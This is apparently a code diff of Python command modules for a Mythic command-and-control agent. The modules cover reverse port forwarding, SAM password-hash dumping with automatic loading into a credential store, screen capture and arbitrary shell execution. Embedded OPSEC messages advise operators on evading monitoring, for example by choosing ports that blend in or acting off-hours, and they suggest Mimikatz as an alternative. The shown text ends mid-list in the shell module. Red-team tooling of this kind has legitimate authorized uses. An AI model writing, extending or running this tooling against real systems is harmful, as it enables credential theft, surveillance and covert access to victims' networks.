raise ValueError("Acción debe ser 'start' o 'stop'.")
|
||||
|
||||
# Parsear puerto local (opcional)
|
||||
local_port = int(parts[1]) if len(parts) > 1 else 8080
|
||||
self.add_arg("port", local_port)
|
||||
|
||||
# Parsear host remoto y puerto (opcionales)
|
||||
remote_host = parts[2] if len(parts) > 2 else "127.0.0.1"
|
||||
remote_port = int(parts[3]) if len(parts) > 3 else 80
|
||||
self.add_arg("remote_host", remote_host)
|
||||
self.add_arg("remote_port", remote_port)
|
||||
|
||||
self.add_arg("action", action)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
action = dictionary_arguments.get("action", "start")
|
||||
# Valores por defecto
|
||||
if "port" not in dictionary_arguments:
|
||||
dictionary_arguments["port"] = 8080
|
||||
if "remote_host" not in dictionary_arguments:
|
||||
dictionary_arguments["remote_host"] = "127.0.0.1"
|
||||
if "remote_port" not in dictionary_arguments:
|
||||
dictionary_arguments["remote_port"] = 80
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class RpfwdCommand(CommandBase):
|
||||
cmd = "rpfwd"
|
||||
needs_admin = False
|
||||
help_cmd = "rpfwd start [local_port] [remote_host] [remote_port] / rpfwd stop"
|
||||
description = "Start or stop reverse port forwarding (RPFWD). When started, the agent listens on a local port on the target system. Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port). Default local port: 8080. Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces). WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring. Avoid using privileged ports (<1024) which require elevated privileges."
|
||||
version = 1
|
||||
author = "OFSTeam"
|
||||
argument_class = RpfwdArguments
|
||||
attackmapping = []
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows],
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about reverse port forwarding risks.
|
||||
"""
|
||||
action = taskData.args.get_arg("action") or "start"
|
||||
local_port = taskData.args.get_arg("port") or 8080
|
||||
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
|
||||
remote_port = taskData.args.get_arg("remote_port") or 80
|
||||
|
||||
if action == "stop":
|
||||
# Stop action is low risk
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage="Stopping reverse port forwarding - low OPSEC risk."
|
||||
)
|
||||
|
||||
message = "⚠️ OPSEC WARNING - Reverse Port Forwarding Detected\n\n"
|
||||
message += "Reverse port forwarding is monitored by:\n"
|
||||
message += " • Network monitoring tools\n"
|
||||
message += " • Firewall logging\n"
|
||||
message += " • Network intrusion detection systems (NIDS)\n"
|
||||
message += " • EDR/XDR network monitoring\n"
|
||||
message += " • Network flow analysis tools\n\n"
|
||||
|
||||
message += f"Configuration:\n"
|
||||
message += f" • Local Port (Agent): {local_port}\n"
|
||||
message += f" • Remote Host: {remote_host}\n"
|
||||
message += f" • Remote Port: {remote_port}\n\n"
|
||||
|
||||
# Check for privileged ports
|
||||
if local_port < 1024:
|
||||
message += "⚠️ WARNING: Privileged port (<1024) requires administrator privileges!\n"
|
||||
message += "This may trigger additional security alerts.\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • Network connection monitoring\n"
|
||||
message += " • Port binding detection\n"
|
||||
message += " • Suspicious network patterns\n"
|
||||
message += " • Connection to non-standard ports\n\n"
|
||||
|
||||
message += "💡 RECOMMENDATIONS:\n"
|
||||
message += " • Use non-standard ports (avoid 80, 443, 22, 3389)\n"
|
||||
message += " • Use ports commonly used by legitimate software\n"
|
||||
message += " • Network traffic may be logged\n"
|
||||
message += " • Firewall rules may block the connection\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: MODERATE\n"
|
||||
message += "Network activity is visible but may blend in with normal traffic if configured properly.\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
action = taskData.args.get_arg("action") or "start"
|
||||
|
||||
if action == "stop":
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage="Stopping reverse port forwarding - no additional artifacts."
|
||||
)
|
||||
|
||||
local_port = taskData.args.get_arg("port") or 8080
|
||||
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
|
||||
remote_port = taskData.args.get_arg("remote_port") or 80
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - Reverse Port Forwarding Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Network Connection: Listener on agent port\n"
|
||||
message += " • Port Binding: Socket bind on local port\n"
|
||||
message += " • Network Activity: Connection forwarding\n"
|
||||
message += " • Process Network Activity: Agent network connections\n\n"
|
||||
message += f"Configuration:\n"
|
||||
message += f" • Local Port: {local_port}\n"
|
||||
message += f" • Remote: {remote_host}:{remote_port}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • Network monitoring tools\n"
|
||||
message += " • Firewall logging\n"
|
||||
message += " • NIDS/NIPS systems\n"
|
||||
message += " • Network flow analysis\n\n"
|
||||
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • Using well-known ports (80, 443, 22, etc.)\n"
|
||||
message += " • Network traffic is heavily monitored\n"
|
||||
message += " • Firewall rules are strict\n"
|
||||
message += " • Using privileged ports (<1024)\n\n"
|
||||
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
action = task.args.get_arg("action")
|
||||
if action == "start":
|
||||
local_port = task.args.get_arg("port")
|
||||
remote_host = task.args.get_arg("remote_host")
|
||||
remote_port = task.args.get_arg("remote_port")
|
||||
task.display_params = f"{action.upper()} (local:{local_port} -> {remote_host}:{remote_port})"
|
||||
else:
|
||||
task.display_params = "STOP"
|
||||
return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||
|
||||
action = taskData.args.get_arg("action")
|
||||
local_port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 8080
|
||||
|
||||
try:
|
||||
if action == "start":
|
||||
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
|
||||
remote_port = taskData.args.get_arg("remote_port") or 80
|
||||
|
||||
# Warn if using a privileged port on Windows (may require admin)
|
||||
if local_port < 1024:
|
||||
logging.warning(f"Warning: Port {local_port} is privileged (<1024) and may require administrator privileges on Windows")
|
||||
logging.warning(f"Consider using a non-privileged port (>=1024) like 8080, 4444, or 5555")
|
||||
|
||||
# Register RPFWD with Mythic - Mythic will automatically send start_rpfwd command to agent
|
||||
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
LocalPort=local_port,
|
||||
RemoteIP=remote_host,
|
||||
RemotePort=remote_port,
|
||||
PortType=CALLBACK_PORT_TYPE_RPORTFWD
|
||||
))
|
||||
logging.info(f"RPFWD registered with Mythic: local port {local_port} on agent -> {remote_host}:{remote_port}")
|
||||
logging.info(f"To test: Connect to port {local_port} on the AGENT host (not Mythic server)")
|
||||
if not resp.Success:
|
||||
response.Success = False
|
||||
response.Error = resp.Error
|
||||
elif action == "stop":
|
||||
# Unregister RPFWD with Mythic - Mythic will automatically send stop_rpfwd command to agent
|
||||
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Port=local_port,
|
||||
PortType=CALLBACK_PORT_TYPE_RPORTFWD
|
||||
))
|
||||
logging.info(f"RPFWD unregistered from Mythic: {resp}")
|
||||
if not resp.Success:
|
||||
response.Success = False
|
||||
response.Error = resp.Error
|
||||
except Exception as e:
|
||||
logging.error(f"Error en RPFWD RPC: {e}")
|
||||
response.Success = False
|
||||
response.Error = str(e)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,346 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
import re
|
||||
import asyncio
|
||||
|
||||
|
||||
class SamDumpArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="method",
|
||||
cli_name="method",
|
||||
display_name="Dump Method",
|
||||
type=ParameterType.ChooseOne,
|
||||
choices=["registry", "files", "remote"],
|
||||
default_value="registry",
|
||||
description="Method to use for SAM dump: registry (default, local registry), files (from SAM/SYSTEM files), or remote (remote system)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="sam_path",
|
||||
cli_name="sam_path",
|
||||
display_name="SAM File Path",
|
||||
type=ParameterType.String,
|
||||
description="Path to SAM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SAM",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=2
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="system_path",
|
||||
cli_name="system_path",
|
||||
display_name="SYSTEM File Path",
|
||||
type=ParameterType.String,
|
||||
description="Path to SYSTEM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SYSTEM",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=3
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="remote_host",
|
||||
cli_name="remote_host",
|
||||
display_name="Remote Host",
|
||||
type=ParameterType.String,
|
||||
description="Remote system hostname or IP address (required when method=remote)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=4
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="impersonate",
|
||||
cli_name="impersonate",
|
||||
display_name="Impersonate User",
|
||||
type=ParameterType.Boolean,
|
||||
default_value=False,
|
||||
description="Whether to impersonate a user before dumping (for remote access). Only used when method=remote",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=5
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="username",
|
||||
cli_name="username",
|
||||
display_name="Username",
|
||||
type=ParameterType.String,
|
||||
description="Username for impersonation (required if impersonate=true and method=remote)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=6
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="password",
|
||||
cli_name="password",
|
||||
display_name="Password",
|
||||
type=ParameterType.String,
|
||||
description="Password for impersonation (required if impersonate=true and method=remote)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=False,
|
||||
group_name="Default",
|
||||
ui_position=7
|
||||
)
|
||||
]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
# Parse command line arguments if provided
|
||||
if len(self.command_line) > 0:
|
||||
# Check if command_line is JSON
|
||||
if self.command_line.strip().startswith('{'):
|
||||
try:
|
||||
json_args = json.loads(self.command_line)
|
||||
# Load from JSON dictionary
|
||||
self.load_args_from_dictionary(json_args)
|
||||
return
|
||||
except json.JSONDecodeError:
|
||||
# Not valid JSON, try parsing as space-separated arguments
|
||||
pass
|
||||
|
||||
# Parse as space-separated arguments
|
||||
parts = self.command_line.split()
|
||||
if len(parts) > 0:
|
||||
method = parts[0].lower()
|
||||
if method in ["registry", "files", "remote"]:
|
||||
self.add_arg("method", method)
|
||||
else:
|
||||
raise ValueError(f"Invalid method: {method}. Must be 'registry', 'files', or 'remote'")
|
||||
|
||||
# Parse additional arguments based on method
|
||||
if method == "files" and len(parts) >= 3:
|
||||
self.add_arg("sam_path", parts[1])
|
||||
self.add_arg("system_path", parts[2])
|
||||
elif method == "remote" and len(parts) >= 2:
|
||||
self.add_arg("remote_host", parts[1])
|
||||
if len(parts) >= 4:
|
||||
self.add_arg("impersonate", True)
|
||||
self.add_arg("username", parts[2])
|
||||
self.add_arg("password", parts[3])
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
# Validate required parameters based on method
|
||||
method = self.get_arg("method") or "registry"
|
||||
|
||||
# For "files" method, both paths are required
|
||||
if method == "files":
|
||||
if not self.get_arg("sam_path"):
|
||||
raise ValueError("sam_path is required when method=files")
|
||||
if not self.get_arg("system_path"):
|
||||
raise ValueError("system_path is required when method=files")
|
||||
|
||||
# For "remote" method, remote_host is required
|
||||
if method == "remote":
|
||||
if not self.get_arg("remote_host"):
|
||||
raise ValueError("remote_host is required when method=remote")
|
||||
# username and password are optional - only needed if impersonate=true
|
||||
if self.get_arg("impersonate"):
|
||||
if not self.get_arg("username") or not self.get_arg("password"):
|
||||
raise ValueError("username and password are required when impersonate=true")
|
||||
|
||||
|
||||
class SamDumpCommand(CommandBase):
|
||||
cmd = "samdump"
|
||||
needs_admin = True # Requires SYSTEM privileges to access SAM
|
||||
help_cmd = "samdump"
|
||||
description = "Dump local account password hashes from the Security Account Manager (SAM) database. Extracts NTLM hashes for all local users. Requires SYSTEM privileges. Automatically reports extracted hashes to Mythic's credential store. HIGH OPSEC RISK: Accessing the SAM database is heavily monitored by EDR/XDR solutions and is a primary indicator of credential theft attacks."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1003.002", "T1003.001"]
|
||||
argument_class = SamDumpArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
SAM database access is highly detectable.
|
||||
"""
|
||||
message = "🚨 HIGH OPSEC RISK - SAM Database Access\n\n"
|
||||
message += "This command will:\n"
|
||||
message += " • Access the Security Account Manager (SAM) database\n"
|
||||
message += " • Read encrypted password hashes (NTLM)\n"
|
||||
message += " • Extract hashes for all local user accounts\n"
|
||||
message += " • Report extracted hashes to Mythic's credential store\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR solutions monitor SAM database access\n"
|
||||
message += " • Registry access to HKEY_LOCAL_MACHINE\\SAM triggers alerts\n"
|
||||
message += " • Credential theft detection rules (MITRE T1003.002)\n"
|
||||
message += " • Behavioral analysis detects credential extraction patterns\n"
|
||||
message += " • Security tools flag SAM access as high-priority indicator\n\n"
|
||||
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY:\n"
|
||||
message += " • SAM access is a primary indicator of attack\n"
|
||||
message += " • Many security tools have specific rules for this activity\n"
|
||||
message += " • Registry access patterns are logged and monitored\n"
|
||||
message += " • Detection is likely within minutes\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Requires SYSTEM privileges (use steal_token on SYSTEM process)\n"
|
||||
message += " • This activity is commonly detected within minutes\n"
|
||||
message += " • Consider timing (off-hours may reduce detection)\n"
|
||||
message += " • Ensure you have proper authorization\n"
|
||||
message += " • Alternative: Use Mimikatz or other tools via inline_execute_assembly\n\n"
|
||||
|
||||
message += "✅ This command requires approval from another operator."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=True, # Block by default
|
||||
OpsecPreBypassRole="other_operator", # Requires another operator to approve
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "🚨 OPSEC POST-CHECK - SAM Database Access Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Registry Read: HKEY_LOCAL_MACHINE\\SAM access\n"
|
||||
message += " • Registry Read: HKEY_LOCAL_MACHINE\\SYSTEM access (for boot key)\n"
|
||||
message += " • Credential Access: SAM database enumeration\n"
|
||||
message += " • Credential Extraction: NTLM hashes reported to Mythic\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR registry access monitoring\n"
|
||||
message += " • Credential theft detection rules (MITRE T1003.002)\n"
|
||||
message += " • Behavioral analysis (credential extraction patterns)\n"
|
||||
message += " • Registry access auditing (if enabled)\n\n"
|
||||
|
||||
message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
|
||||
message += " • SAM access is heavily monitored\n"
|
||||
message += " • Detection is likely within minutes\n"
|
||||
message += " • Multiple security layers may trigger alerts\n\n"
|
||||
|
||||
message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False, # Don't block, just warn
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
method = taskData.args.get_arg("method") or "registry"
|
||||
display_params = f"Dumping SAM database via {method}"
|
||||
|
||||
if method == "files":
|
||||
sam_path = taskData.args.get_arg("sam_path")
|
||||
system_path = taskData.args.get_arg("system_path")
|
||||
display_params += f" (SAM: {sam_path}, SYSTEM: {system_path})"
|
||||
elif method == "remote":
|
||||
remote_host = taskData.args.get_arg("remote_host")
|
||||
display_params += f" (Remote: {remote_host})"
|
||||
if taskData.args.get_arg("impersonate"):
|
||||
username = taskData.args.get_arg("username")
|
||||
display_params += f" (Impersonating: {username})"
|
||||
|
||||
response.DisplayParams = display_params
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent.
|
||||
The response contains SAM dump output with NTLM hashes.
|
||||
Extract hashes and report them to Mythic's credential store.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
if not response:
|
||||
return resp
|
||||
|
||||
# Parse the response to extract NTLM hashes
|
||||
response_text = str(response)
|
||||
|
||||
# Pattern to match NTLM hashes: username:RID:LM:NTLM
|
||||
# Format: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
hash_pattern = r'([^:]+):(\d+):([a-fA-F0-9]{32}|):([a-fA-F0-9]{32}|):'
|
||||
|
||||
hashes_found = []
|
||||
for match in re.finditer(hash_pattern, response_text):
|
||||
username = match.group(1).strip()
|
||||
rid = match.group(2)
|
||||
lm_hash = match.group(3) if match.group(3) else None
|
||||
ntlm_hash = match.group(4) if match.group(4) else None
|
||||
|
||||
# Only report if we have at least one hash
|
||||
if ntlm_hash and ntlm_hash != "aad3b435b51404eeaad3b435b51404ee": # Empty hash
|
||||
hashes_found.append({
|
||||
"username": username,
|
||||
"rid": rid,
|
||||
"lm_hash": lm_hash if lm_hash and lm_hash != "aad3b435b51404eeaad3b435b51404ee" else None,
|
||||
"ntlm_hash": ntlm_hash
|
||||
})
|
||||
|
||||
# Report credentials to Mythic
|
||||
for hash_data in hashes_found:
|
||||
try:
|
||||
# Format: username:rid:lm_hash:ntlm_hash
|
||||
credential_string = f"{hash_data['username']}:{hash_data['rid']}:"
|
||||
if hash_data['lm_hash']:
|
||||
credential_string += f"{hash_data['lm_hash']}:"
|
||||
else:
|
||||
credential_string += ":"
|
||||
credential_string += f"{hash_data['ntlm_hash']}"
|
||||
|
||||
# Create credential in Mythic
|
||||
await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage(
|
||||
TaskID=task.Task.ID,
|
||||
Credentials=[
|
||||
MythicRPCCredentialCreateData(
|
||||
account=hash_data['username'],
|
||||
realm="", # Local account, no domain
|
||||
credential=credential_string,
|
||||
credential_type="hash", # NTLM hash
|
||||
metadata=f"RID: {hash_data['rid']}, LM Hash: {hash_data['lm_hash'] if hash_data['lm_hash'] else 'N/A'}"
|
||||
)
|
||||
]
|
||||
))
|
||||
except Exception as e:
|
||||
# Log error but continue processing other hashes
|
||||
pass
|
||||
|
||||
return resp
|
||||
@@ -0,0 +1,115 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
class ScreenshotArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
# Screenshot command takes no arguments
|
||||
pass
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ScreenshotCommand(CommandBase):
|
||||
cmd = "screenshot"
|
||||
needs_admin = False
|
||||
help_cmd = "screenshot"
|
||||
description = "Capture a screenshot of the primary desktop display and upload it to the Mythic server. Uses Windows GDI API (BitBlt) to capture the screen content. The screenshot is automatically uploaded as a file to Mythic for viewing. Requires an active interactive desktop session. May be detected by screen capture detection mechanisms, behavioral analysis, and data loss prevention (DLP) systems. Large screenshots may trigger network monitoring alerts."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
argument_class = ScreenshotArguments
|
||||
attackmapping = ["T1113"]
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about screenshot capture risks.
|
||||
"""
|
||||
message = "⚠️ OPSEC WARNING - Screenshot Capture Detected\n\n"
|
||||
message += "Screenshot capture is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (behavioral detection)\n"
|
||||
message += " • Screen capture detection mechanisms\n"
|
||||
message += " • Data loss prevention (DLP) systems\n"
|
||||
message += " • User activity monitoring tools\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • BitBlt/GDI screen capture API calls\n"
|
||||
message += " • PrintWindow API calls\n"
|
||||
message += " • Suspicious screen capture patterns\n"
|
||||
message += " • Large data uploads (screenshot files)\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Screenshots may be large and trigger network alerts\n"
|
||||
message += " • Multiple screenshots may be suspicious\n"
|
||||
message += " • Screen capture events may be logged\n"
|
||||
message += " • Sensitive data in screenshots may trigger DLP alerts\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: MODERATE\n"
|
||||
message += "Usually not immediately detected, but may be flagged by behavioral analysis over time.\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False, # Moderate risk, don't block
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "⚠️ OPSEC POST-CHECK - Screenshot Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Screen Capture: BitBlt/PrintWindow API calls\n"
|
||||
message += " • File Upload: Screenshot image file transmission\n"
|
||||
message += " • Network Activity: Image data transfer\n"
|
||||
message += " • Memory Artifacts: Screenshot data in memory\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR behavioral detection\n"
|
||||
message += " • Network monitoring tools (large file uploads)\n"
|
||||
message += " • DLP systems (sensitive data capture)\n"
|
||||
message += " • User activity monitoring\n\n"
|
||||
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • Multiple screenshots are taken rapidly\n"
|
||||
message += " • Screenshots contain sensitive data\n"
|
||||
message += " • Network traffic is monitored\n"
|
||||
message += " • Behavioral analysis is aggressive\n\n"
|
||||
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
response.DisplayParams = "Capture screenshot"
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
|
||||
|
||||
class ShellArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="command",
|
||||
type=ParameterType.String,
|
||||
description="Comando a ejecutar",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Se debe indicar un comando")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ShellCommand(CommandBase):
|
||||
cmd = "shell"
|
||||
needs_admin = False
|
||||
help_cmd = "shell <command>"
|
||||
description = "Execute arbitrary shell commands on the target system by spawning cmd.exe. The command is executed in a non-interactive shell and the output is captured and returned. HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions. Command execution and command-line arguments are logged by security tools. Consider using built-in Angerona commands (ps, ls, cat, etc.) instead when possible, as they provide better OPSEC. Always requires approval from another operator before execution."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1059"]
|
||||
argument_class = ShellArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about dangerous commands that are highly detectable.
|
||||
"""
|
||||
command = (taskData.args.get_arg("command") or "").lower()
|
||||
|
||||
# Highly detectable commands
|
||||
dangerous_commands = {
|
||||
"powershell": "PowerShell execution is heavily monitored by EDR/XDR",
|
||||
"pwsh": "PowerShell Core execution is heavily monitored",
|
||||
"wmic": "WMI queries are logged and monitored",
|
||||
"net.exe": "Network enumeration commands trigger alerts",
|
||||
"nslookup": "DNS queries may be monitored",
|
||||
